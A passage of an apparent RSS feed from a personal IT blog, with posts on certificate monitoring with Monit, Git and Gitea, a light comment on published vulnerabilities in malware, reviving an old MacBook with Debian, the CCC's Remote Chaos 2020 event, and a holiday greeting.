b) Organisational failure: Lack of processes and overview of certs within an organisation.&lt;br>
c) Sloppiness due to existing monitoring.&lt;br>
d) Negligence due to lack of monitoring. Blind trust in auto-renewal processes.&lt;br>
e) Deliberate action, sabotage&lt;/p>
&lt;p>The striking common characteristic: All of them are non-technical factors.&lt;/p>
&lt;p>This sounds rather discouraging, but it is not entirely hopeless. As a secret weapon I have something I have been using since the 90ies: A source code version&lt;/p>
&lt;blockquote>
&lt;p>Even the best software in the world cannot turn bad leadership or mis-mmanagement for the better.&lt;/p>
&lt;/blockquote>
&lt;h2 id="git--gitea--monit">Git + Gitea + Monit&lt;/h2>
&lt;p>Last year I featured Prometheus&lt;sup id="fnref:11">&lt;a href="#fn:11" class="footnote-ref" role="doc-noteref">11&lt;/a>&lt;/sup> and Grafana&lt;sup id="fnref:12">&lt;a href="#fn:12" class="footnote-ref" role="doc-noteref">12&lt;/a>&lt;/sup> on this blog as tools within my monitoring stack. Today, Monit&lt;sup id="fnref:13">&lt;a href="#fn:13" class="footnote-ref" role="doc-noteref">13&lt;/a>&lt;/sup> follows which I use for regular checks of websites, APIs and certificates.&lt;/p>
&lt;p>Why exactly Monit? Firstly, queries and rules can be spread wonderfully over different configuration files. Secondly, it is very powerful. And thirdly, it is very simple in the formal description of rules thanks to a BASIC-like&lt;sup id="fnref:14">&lt;a href="#fn:14" class="footnote-ref" role="doc-noteref">14&lt;/a>&lt;/sup> syntax. For instance, this is the rule for monitoring the certificate of this blog:&lt;/p>
&lt;pre tabindex="0">&lt;code>check host blog.jakobs.systems with address blog.jakobs.systems
if failed
port 443
protocol https
certificate valid &amp;gt; 5 days
then alert
&lt;/code>&lt;/pre>&lt;p>The magic lies in the interaction of Monit with git&lt;sup id="fnref:15">&lt;a href="#fn:15" class="footnote-ref" role="doc-noteref">15&lt;/a>&lt;/sup> and Gitea&lt;sup id="fnref:16">&lt;a href="#fn:16" class="footnote-ref" role="doc-noteref">16&lt;/a>&lt;/sup>. All Monit instances obtain their configuration automatically from a git repository&lt;sup id="fnref:17">&lt;a href="#fn:17" class="footnote-ref" role="doc-noteref">17&lt;/a>&lt;/sup>. Management and scaling are done via the web interfaces of Gitea and do not require any programming knowledge. Quite convienient: The documentation is included in the repository as a byproduct because I write it there in Markdown&lt;sup id="fnref:18">&lt;a href="#fn:18" class="footnote-ref" role="doc-noteref">18&lt;/a>&lt;/sup>.&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/2021-cert-monitoring2.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/2021-cert-monitoring2.webp#c" alt="Screenshot Gitea" loading="lazy"/>&lt;/picture>
&lt;/p>
&lt;p>A place has been found for all the information on certificates in an organisation. Changes do not remain in the hands of a few. Every web developer can for instance add new hosts or make changes to existing ones. It&amp;rsquo;s hardly possible to break anything, because on one hand. every change can be rolled back. On the other hand, serious mistakes are immediately found in the mutual peer review process of pull requests&lt;sup id="fnref:19">&lt;a href="#fn:19" class="footnote-ref" role="doc-noteref">19&lt;/a>&lt;/sup>. Should a defective configuration find its way to any Monit instance, Monit itself immediately will notify me and I still can intervene.&lt;/p>
&lt;p>The combination of Monit, Git and Gitea allows a living, scalable system with a continuous improvement process.&lt;/p>
&lt;h2 id="resilience">Resilience&lt;/h2>
&lt;p>Without a few words on resilience&lt;sup id="fnref:20">&lt;a href="#fn:20" class="footnote-ref" role="doc-noteref">20&lt;/a>&lt;/sup> it is impossible to continue. Unfortunately there are always networks I encounter where the entire IT infrastructure is monitored from a single internal host. Well you might do that though you create unnecessary and self-inflicted problems. Combined with the typical &amp;ldquo;single points of failure&amp;rdquo;&lt;sup id="fnref:21">&lt;a href="#fn:21" class="footnote-ref" role="doc-noteref">21&lt;/a>&lt;/sup> represented by mail servers, firewalls or switches, measures should be taken immediately.&lt;/p>
&lt;p>Power grids are successfully operated with the (n-1)rule&lt;sup id="fnref:22">&lt;a href="#fn:22" class="footnote-ref" role="doc-noteref">22&lt;/a>&lt;/sup>. This means that for every element in a system there must be at least one redundant spare element. Above-ground power lines for example, have at least two control systems, each of which is operated with only 50% load. If one control system fails, the remaining one can quickly take over 100% of the load.&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/2021-cert-monitoring.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/2021-cert-monitoring.webp#c" alt="Screenshot og my 3 Monit-Instances" loading="lazy"/>&lt;/picture>
&lt;/p>
&lt;p>This rule also improves resilience in IT. The screenshot shows my three monitoring instances distributed across Germany (data centre, office, home office) at different ISPs (Anexia backbone, Vodafone, Telekom) to keep an eye not only on my own hosts and certificates but also on those of my customers.&lt;/p>
&lt;p>There are reasons why monitoring is not always the same.&lt;/p>
&lt;p>I would be happy to help by providing my know-how.&lt;br>
Sustainable, transparent, fair and with open source.&lt;/p>
&lt;p>Stay healthy,&lt;br>
Tomas Jakobs&lt;/p>
&lt;div class="footnotes" role="doc-endnotes">
&lt;hr>
&lt;ol>
&lt;li id="fn:1">
&lt;p>&lt;a href="https://www.heise.de/news/AddTrust-Probleme-durch-abgelaufenes-Root-Zertifkat-4771717.html">https://www.heise.de/news/AddTrust-Probleme-durch-abgelaufenes-Root-Zertifkat-4771717.html&lt;/a>&amp;#160;&lt;a href="#fnref:1" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:2">
&lt;p>&lt;a href="https://www.heise.de/newsticker/meldung/Microsoft-Teams-Ausfall-wegen-Zertifikatsablauf-4652527.html">https://www.heise.de/newsticker/meldung/Microsoft-Teams-Ausfall-wegen-Zertifikatsablauf-4652527.html&lt;/a>&amp;#160;&lt;a href="#fnref:2" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:3">
&lt;p>&lt;a href="https://www.heise.de/mac-and-i/meldung/Abgelaufene-Sicherheitszertifikate-Wie-man-jetzt-neue-macOS-Installer-findet-4569853.html">https://www.heise.de/mac-and-i/meldung/Abgelaufene-Sicherheitszertifikate-Wie-man-jetzt-neue-macOS-Installer-findet-4569853.html&lt;/a>&amp;#160;&lt;a href="#fnref:3" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:4">
&lt;p>🚫 &lt;a href="https://www.pcworld.com/article/201980/article.html">https://www.pcworld.com/article/201980/article.html&lt;/a>&amp;#160;&lt;a href="#fnref:4" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:5">
&lt;p>&lt;a href="https://www.heise.de/newsticker/meldung/Zertifikat-abgelaufen-Firefox-deaktiviert-Add-ons-4413170.html">https://www.heise.de/newsticker/meldung/Zertifikat-abgelaufen-Firefox-deaktiviert-Add-ons-4413170.html&lt;/a>&amp;#160;&lt;a href="#fnref:5" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:6">
&lt;p>&lt;a href="https://www.borncity.com/blog/2018/04/18/zertifikatsprobleme-bei-microsoft-seiten/">https://www.borncity.com/blog/2018/04/18/zertifikatsprobleme-bei-microsoft-seiten/&lt;/a>&amp;#160;&lt;a href="#fnref:6" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:7">
&lt;p>&lt;a href="https://de.wikipedia.org/wiki/JavaScript_Object_Notation">https://de.wikipedia.org/wiki/JavaScript_Object_Notation&lt;/a>&amp;#160;&lt;a href="#fnref:7" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:8">
&lt;p>&lt;a href="https://www.tuigroup.com/en-en/media/stories/2021/2021-01-07-ms-teams-and-corona">https://www.tuigroup.com/en-en/media/stories/2021/2021-01-07-ms-teams-and-corona&lt;/a>&amp;#160;&lt;a href="#fnref:8" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:9">
&lt;p>&lt;a href="https://en.wikipedia.org/wiki/Microsoft_Teams">https://en.wikipedia.org/wiki/Microsoft_Teams&lt;/a>&amp;#160;&lt;a href="#fnref:9" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:10">
&lt;p>&lt;a href="https://de.wikipedia.org/wiki/Normalverteilung">https://de.wikipedia.org/wiki/Normalverteilung&lt;/a>&amp;#160;&lt;a href="#fnref:10" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:11">
&lt;p>&lt;a href="https://blog.jakobs.systems/blog/20201025-monitoring-prometheus/">https://blog.jakobs.systems/blog/20201025-monitoring-prometheus/&lt;/a>&amp;#160;&lt;a href="#fnref:11" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:12">
&lt;p>&lt;a href="https://grafana.com/">https://grafana.com/&lt;/a>&amp;#160;&lt;a href="#fnref:12" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:13">
&lt;p>&lt;a href="https://www.mmonit.com/monit">https://www.mmonit.com/monit&lt;/a>&amp;#160;&lt;a href="#fnref:13" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:14">
&lt;p>&lt;a href="https://de.wikipedia.org/wiki/BASIC">https://de.wikipedia.org/wiki/BASIC&lt;/a>&amp;#160;&lt;a href="#fnref:14" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:15">
&lt;p>&lt;a href="https://de.wikipedia.org/wiki/Git">https://de.wikipedia.org/wiki/Git&lt;/a>&amp;#160;&lt;a href="#fnref:15" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:16">
&lt;p>&lt;a href="https://gitea.io/en-us/">https://gitea.io/en-us/&lt;/a>&amp;#160;&lt;a href="#fnref:16" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:17">
&lt;p>&lt;a href="https://en.wikipedia.org/wiki/Repository_(version_control)">https://en.wikipedia.org/wiki/Repository_(version_control)&lt;/a>&amp;#160;&lt;a href="#fnref:17" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:18">
&lt;p>&lt;a href="https://de.wikipedia.org/wiki/Markdown">https://de.wikipedia.org/wiki/Markdown&lt;/a>&amp;#160;&lt;a href="#fnref:18" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:19">
&lt;p>&lt;a href="https://de.wikipedia.org/wiki/Pull_Request">https://de.wikipedia.org/wiki/Pull_Request&lt;/a>&amp;#160;&lt;a href="#fnref:19" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:20">
&lt;p>&lt;a href="https://de.wikipedia.org/wiki/Resilienz-Management">https://de.wikipedia.org/wiki/Resilienz-Management&lt;/a>&amp;#160;&lt;a href="#fnref:20" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:21">
&lt;p>&lt;a href="https://de.wikipedia.org/wiki/Single_Point_of_Failure">https://de.wikipedia.org/wiki/Single_Point_of_Failure&lt;/a>&amp;#160;&lt;a href="#fnref:21" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:22">
&lt;p>🚫 &lt;a href="https://de.wikipedia.org/wiki/(n_%E2%80%93_1)-Regel">https://de.wikipedia.org/wiki/(n_%E2%80%93_1)-Regel&lt;/a>&amp;#160;&lt;a href="#fnref:22" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;/ol>
&lt;/div></content></item><item><title>Hackback the Malware</title><link>https://blog.jakobs.systems/en/micro/20210104-hacking-malware/</link><pubDate>Mon, 04 Jan 2021 11:41:00 +0100</pubDate><dc:creator>Tomas Jakobs</dc:creator><guid>https://blog.jakobs.systems/en/micro/20210104-hacking-malware/</guid><description/><category>Security</category><category>Hacking</category><category>Audit</category><category>Humour</category><content>&lt;p>Yesterday and today I&amp;rsquo;ve noticed the author malvuln&lt;sup id="fnref:1">&lt;a href="#fn:1" class="footnote-ref" role="doc-noteref">1&lt;/a>&lt;/sup>. He has uncovered vulnerabilities for 14 malware and backdoor applications. Yes, you are correct: He has found vulnerabilities in malware and backdoors, practically with proof-of-concepts to reproduce. No need to emphasise, that&amp;rsquo;s all Windows malware we&amp;rsquo;re talking about.&lt;/p>
&lt;p>There is no indication whether he contacted the respective vendors of the affected &amp;ldquo;software&amp;rdquo; prior to his full disclosure. Also missing are CVE&lt;sup id="fnref:2">&lt;a href="#fn:2" class="footnote-ref" role="doc-noteref">2&lt;/a>&lt;/sup> reference numbers and CVSS&lt;sup id="fnref:3">&lt;a href="#fn:3" class="footnote-ref" role="doc-noteref">3&lt;/a>&lt;/sup> Scores. But with a chuckle we just look away.&lt;/p>
&lt;p>I think the biggest humiliation would be to find a way to a victim via a vulnerability in a malware, kind of superlative of a hackback&lt;sup id="fnref:4">&lt;a href="#fn:4" class="footnote-ref" role="doc-noteref">4&lt;/a>&lt;/sup>.&lt;/p>
&lt;p>Looking further at the published vulnerabilities I can discover another purpose besides self-promotion and learning effect. An attribution&lt;sup id="fnref:5">&lt;a href="#fn:5" class="footnote-ref" role="doc-noteref">5&lt;/a>&lt;/sup> is easier to make if habits or even individual developers become traceable. Malware authors too are just people in a certain context, with pre-cursors and mistakes. Particularly amusing are such habits, which at the same time also expose shortcomings in basic concepts, but still lead to the &amp;ldquo;right&amp;rdquo; results in the end of the day.&lt;/p>
&lt;p>But beware! Someone could also use these characteristics to lay false leads. A nice little game with unexpected twists and turns.&lt;/p>
&lt;p>Enjoy your start in the new week,&lt;br>
Tomas Jakobs&lt;/p>
&lt;div class="footnotes" role="doc-endnotes">
&lt;hr>
&lt;ol>
&lt;li id="fn:1">
&lt;p>&lt;a href="http://malvuln.com">http://malvuln.com&lt;/a>&amp;#160;&lt;a href="#fnref:1" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:2">
&lt;p>&lt;a href="https://de.wikipedia.org/wiki/Common_Vulnerabilities_and_Exposures">https://de.wikipedia.org/wiki/Common_Vulnerabilities_and_Exposures&lt;/a>&amp;#160;&lt;a href="#fnref:2" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:3">
&lt;p>&lt;a href="https://de.wikipedia.org/wiki/CVSS">https://de.wikipedia.org/wiki/CVSS&lt;/a>&amp;#160;&lt;a href="#fnref:3" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:4">
&lt;p>&lt;a href="https://en.wikipedia.org/wiki/Cyber_self-defense#%22Hacking_back%22">https://en.wikipedia.org/wiki/Cyber_self-defense#%22Hacking_back%22&lt;/a>&amp;#160;&lt;a href="#fnref:4" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:5">
&lt;p>&lt;a href="https://en.wikipedia.org/wiki/Attribution_(psychology)">https://en.wikipedia.org/wiki/Attribution_(psychology)&lt;/a>&amp;#160;&lt;a href="#fnref:5" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;/ol>
&lt;/div></content></item><item><title>Stuff to read for 2021</title><link>https://blog.jakobs.systems/en/micro/20210101-books/</link><pubDate>Fri, 01 Jan 2021 13:00:00 +0100</pubDate><dc:creator>Tomas Jakobs</dc:creator><guid>https://blog.jakobs.systems/en/micro/20210101-books/</guid><description>Stuff to read in the new year</description><category>Container</category><category>Ansible</category><category>Python</category><category>Book</category><content>&lt;p>The new year 2021 starts off quietly with original English Breakfast Tea and a stack of new books. I have long been looking forward to the 3rd edition of the book by Oliver Liebel, which was published kinda fortnite before Christmas. My intentions are getting more familier with orchestration and automation of containers. The second Ansible book tells the same story. The last book within the stack is a kind of cookbook. Here I&amp;rsquo;m particularly interested in the sections on creating and displaying graphs, weighting interconnections, Jarnik- and Dijkstra-Algorithms and how to program everything by yourself in your own framework without any third-party components. Plenty of material for the next few weeks, isn&amp;rsquo;t it?&lt;/p>
&lt;p>Wherever you are, make sure you are comfortably mucking in in the lockdown.&lt;br>
This one will go considerably beyond the 10th of January 2021.&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/newbooks.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/newbooks.webp#c" alt="Lesestoff für 2021" loading="lazy"/>&lt;/picture>
&lt;/p></content></item><item><title>Revive a Macbook Pro with Debian - Part II</title><link>https://blog.jakobs.systems/en/blog/20210101-mac-to-linux-part2/</link><pubDate>Fri, 01 Jan 2021 11:40:00 +0100</pubDate><dc:creator>Tomas Jakobs</dc:creator><guid>https://blog.jakobs.systems/en/blog/20210101-mac-to-linux-part2/</guid><description>How to revive an Mid-2009 Macbook Pro with Linux - Part II</description><category>Apple</category><category>Obsolescence</category><category>Linux</category><category>Debian</category><category>Migration</category><category>Opensource</category><content>&lt;h1 id="part-ii---please-refuel-and-some-new-bumpers">Part II - Please Refuel and some new Bumpers&lt;/h1>
&lt;p>Just in time for the new year, the revived &lt;a href="https://blogs.jakobs.systems/blog/20201218-mac-to-linux/">Apple Macbook Pro with Debian&lt;/a> from the first part is back on my desk. It served well in December. Now, it&amp;rsquo;s time for a pit-stop: Would you refuel and change bumpers, please?&lt;/p>
&lt;h2 id="battery-replacement-after-12-years">Battery Replacement after 12 years&lt;/h2>
&lt;p>I was way off the mark with the expected endurance: I wrote something about 1.5 hours last month. Well this may have been 7 years ago when I last worked with it. Today the battery doesn&amp;rsquo;t last for even half an hour. Over Christmas at home on lockdown this is not a problem, though it is a nuisance as it was carefully but clearly pointed towards me.&lt;/p>
&lt;p>After 12 years, a battery may finally be replaced. It&amp;rsquo;s a good timing because I already had this on schedule and ordered a replacement between Christmas and New Year&amp;rsquo;s Eve.&lt;/p>
&lt;p>A look inside the Mac clearly shows: A good design was practised here. This can be seen in small details like the extra slope in the middle of the battery for a better lifting out of the aluminium case. All components, RAM, SSD, DVD, the board itself and of course the battery are directly accessible and replaceable despite the compact design. The contrast to the mid-2014 Macbook Pro Retina, bought 5 years later, could hardly be greater.&lt;sup id="fnref:1">&lt;a href="#fn:1" class="footnote-ref" role="doc-noteref">1&lt;/a>&lt;/sup>&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/macbook2009-battery.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/macbook2009-battery.webp#c" alt="inside Macbook Pro Mid 2009" loading="lazy"/>&lt;/picture>
&lt;/p>
&lt;p>After replacing the battery it is recommended to reset the SMC&lt;sup id="fnref:2">&lt;a href="#fn:2" class="footnote-ref" role="doc-noteref">2&lt;/a>&lt;/sup>. To do this, the Macbook must be connected to the charging cable and completely switched off. Pressing the &amp;ldquo;Cmd&amp;rdquo; + &amp;ldquo;Select&amp;rdquo; + and &amp;ldquo;Shift&amp;rdquo; keys and the power button at the same time starts the reset procedure. The white light on the front will indicate this. When the Mac reboots you may release the pressed keyboard combo. In GNOME the Battery indicator showed me 5:49h of remaining endurance.&lt;/p>
&lt;h2 id="rubber-for-better-grip">Rubber for Better Grip&lt;/h2>
&lt;p>The next item on my to-do list were the four rubber bumpers underneath, most of them already crumbled. With a new set of bumpers, bought at the chinese retail shop of your choice nothing wobbles, slips or even scratches on a sensitive surface anymore. I&amp;rsquo;ve looked for specific soft onces, not the ones made of hard plastic.&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/macbook2009-gummi.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/macbook2009-gummi.webp#c" alt="Rubber Bumpers!" loading="lazy"/>&lt;/picture>
&lt;/p>
&lt;h2 id="further-optimization">Further Optimization&lt;/h2>
&lt;p>To better monitor the status of the transplanted power source I&amp;rsquo;ve extended the installation script&lt;sup id="fnref:3">&lt;a href="#fn:3" class="footnote-ref" role="doc-noteref">3&lt;/a>&lt;/sup> from the first blog part with the gnome-power-manager package. The laptop-mode-tools were also added. I only skimmed through the numerous settings and optimizations&lt;sup id="fnref:4">&lt;a href="#fn:4" class="footnote-ref" role="doc-noteref">4&lt;/a>&lt;/sup> and was satisfied leaving most of them on &amp;ldquo;auto&amp;rdquo;. Afterwards the machine ran more quietly during the short time I was in charge of it. The fan revved up less quickly.&lt;/p>
&lt;p>Much more annoying was the constant search and mistyping of the left Ctrl-Key. My fingers did remember and internalized the cmd-Key of a macOS User. The power of habit tough the cmd Key is quite larger and better to hit than the small Ctrl key. Salvation may be found in the Gnome Tweak-Tool (App Optimizations) under &amp;ldquo;Keyboard/Mouse&amp;rdquo;, &amp;ldquo;Additional mapping options&amp;rdquo;, &amp;ldquo;Ctrl key position&amp;rdquo; and the option &amp;ldquo;Swap left Win key and left Ctrl key&amp;rdquo;.&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/macbook2009-key.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/macbook2009-key.webp#c" alt="cmd-key as Ctrl-Key" loading="lazy"/>&lt;/picture>
&lt;/p>
&lt;p>In the Gnome desktop, I have also assigned the Exposé or Mission Control key&lt;sup id="fnref:5">&lt;a href="#fn:5" class="footnote-ref" role="doc-noteref">5&lt;/a>&lt;/sup> to the &amp;ldquo;Activities Menu&amp;rdquo;. If you prefer to have access to the F-keys without pressing the Fn-Key then you may find further instructions in the Debian Wiki&lt;sup id="fnref:6">&lt;a href="#fn:6" class="footnote-ref" role="doc-noteref">6&lt;/a>&lt;/sup>.&lt;/p>
&lt;p>That&amp;rsquo;s it! While writing these lines, the book is gone again. How strange, I&amp;rsquo;ve learned to value the 12-year-old device once again after abandoned in my electronic garbage.&lt;/p>
&lt;p>However, happy new Year and stay healthy!&lt;br>
Tomas Jakobs&lt;/p>
&lt;div class="footnotes" role="doc-endnotes">
&lt;hr>
&lt;ol>
&lt;li id="fn:1">
&lt;p>&lt;a href="https://blog.jakobs.systems/blog/20201212-mac-battery/">https://blog.jakobs.systems/blog/20201212-mac-battery/&lt;/a>&amp;#160;&lt;a href="#fnref:1" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:2">
&lt;p>&lt;a href="https://en.wikipedia.org/wiki/System_Management_Controller">https://en.wikipedia.org/wiki/System_Management_Controller&lt;/a>&amp;#160;&lt;a href="#fnref:2" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:3">
&lt;p>🚫 &lt;a href="https://blog.jakobs.systems/img/macbook-linux.sh">https://blog.jakobs.systems/img/macbook-linux.sh&lt;/a>&amp;#160;&lt;a href="#fnref:3" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:4">
&lt;p>&lt;a href="https://wiki.archlinux.org/index.php/Laptop_Mode_Tools">https://wiki.archlinux.org/index.php/Laptop_Mode_Tools&lt;/a>&amp;#160;&lt;a href="#fnref:4" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:5">
&lt;p>&lt;a href="https://en.wikipedia.org/wiki/Mission_Control_(macOS)">https://en.wikipedia.org/wiki/Mission_Control_(macOS)&lt;/a>&amp;#160;&lt;a href="#fnref:5" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:6">
&lt;p>&lt;a href="https://wiki.debian.org/InstallingDebianOn/Apple/PageFragmentKeyboard">https://wiki.debian.org/InstallingDebianOn/Apple/PageFragmentKeyboard&lt;/a>&amp;#160;&lt;a href="#fnref:6" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;/ol>
&lt;/div></content></item><item><title>Remote Chaos 2020</title><link>https://blog.jakobs.systems/en/blog/20201230-remote-chaos/</link><pubDate>Wed, 30 Dec 2020 23:20:00 +0100</pubDate><dc:creator>Tomas Jakobs</dc:creator><guid>https://blog.jakobs.systems/en/blog/20201230-remote-chaos/</guid><description>RC3 2020 from the Digital Academy Dortmund</description><category>CCC</category><category>CTDO</category><category>RC3</category><category>Dortmund</category><content>&lt;p>We all knew the Chaos Computer Club&amp;rsquo;s congress would not happen this year. The big challenge is to find a way to organize something comparable in a more, well, remote and social distanced fashion.&lt;/p>
&lt;p>In the past weeks I have contributed my two cents. From the early planning, the pre-meetings in Jitsi and Mumble and finally, on location at the &lt;a href="https://theater.digital/">Academy for Theatre and Digitality&lt;/a> in the Stadttheater Dortmund with professional studio and broadcasting equipment around.&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/2020-rc3-session4.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/2020-rc3-session4.webp#c" alt="Digitalakademie Dortmund" loading="lazy"/>&lt;/picture>
&lt;/p>
&lt;p>Though we just were only 4-5 people effectively in a huge hall full of displays and technology, we felt a glimpse of congress atmosphere on the set. The following picture shows my mobile workplace at the Digital Academy.&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/2020-rc3-session2.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/2020-rc3-session2.webp#c" alt="Digitalakademie Dortmund" loading="lazy"/>&lt;/picture>
&lt;/p>
&lt;p>Mixing, editing and broadcasting of the presentation &lt;a href="https://media.ccc.de/v/rc3-11503-the_mission_of_the_mv_louise_michel">&amp;ldquo;The Mission of the MV Louise Michel&amp;rdquo;&lt;/a>. Technically quite interesting: The herald came from somewhere in Germany, the crew was on the ship in a Spanish Mediterranean port, the meeting was held in Jitsi, live-mixed and edited with OBS in Dortmund, streamed worldwide by the CCC, everything done with open-source software.&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/2020-rc3-session3.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/2020-rc3-session3.webp#c" alt="Digitalakademie Dortmund" loading="lazy"/>&lt;/picture>
&lt;/p>
&lt;p>Where I usually display my Zammad ticketing system at my home office, I watched the streams remotely joined by some IT nerd friends.&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/2020-rc3-session.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/2020-rc3-session.webp#c" alt="im Homeoffice" loading="lazy"/>&lt;/picture>
&lt;/p>
&lt;p>Despite initial problems, occasional interruptions and even a fully-blown DDOS attack against the CCC DNS servers, everything worked out pretty well when considering there was no preliminary run, a lot of improvisation and little experience with such remote events of this size with so many distributed and decentralised actors and studios.&lt;/p>
&lt;p>And even though I chuckled about the gamification in 2D World, one morning I ran into an American by chance and we had an enjoyable, hour-long English spoken conversation in Jitsi.&lt;/p>
&lt;p>Nevertheless, I am looking forward to the time when we all can meet again without a mask.&lt;/p>
&lt;p>With many new impressions and new experiences, I am heading to 2021.&lt;/p>
&lt;p>Stay healthy!&lt;br>
Tomas Jakobs&lt;/p></content></item><item><title>Auld Lang Syne 2020</title><link>https://blog.jakobs.systems/en/micro/20201222-auld-lang-syne-2020/</link><pubDate>Tue, 22 Dec 2020 19:30:00 +0100</pubDate><dc:creator>Tomas Jakobs</dc:creator><guid>https://blog.jakobs.systems/en/micro/20201222-auld-lang-syne-2020/</guid><description/><category>News</category><category>Blog</category><category>Quote</category><content>&lt;p>I would like to wish all my customers, business partners, friends and acquaintances a happy Holiday Season. Please stay healthy! Wherever you are, cosily couch in yourselves and keep the necessary peace of mind during the Corona-Lockdown. May it be like an admin-friend told me recently:&lt;/p>
&lt;blockquote>
&lt;p>Think positive, stay negative!&lt;/p>
&lt;/blockquote>
&lt;p>I am winding down my blog activities till January and devoting myself to the persons and activities needing me. For the long, dark and hopefully snowy winter evenings there are some books awaiting me aswell together with a tea, milk and honey.&lt;/p>
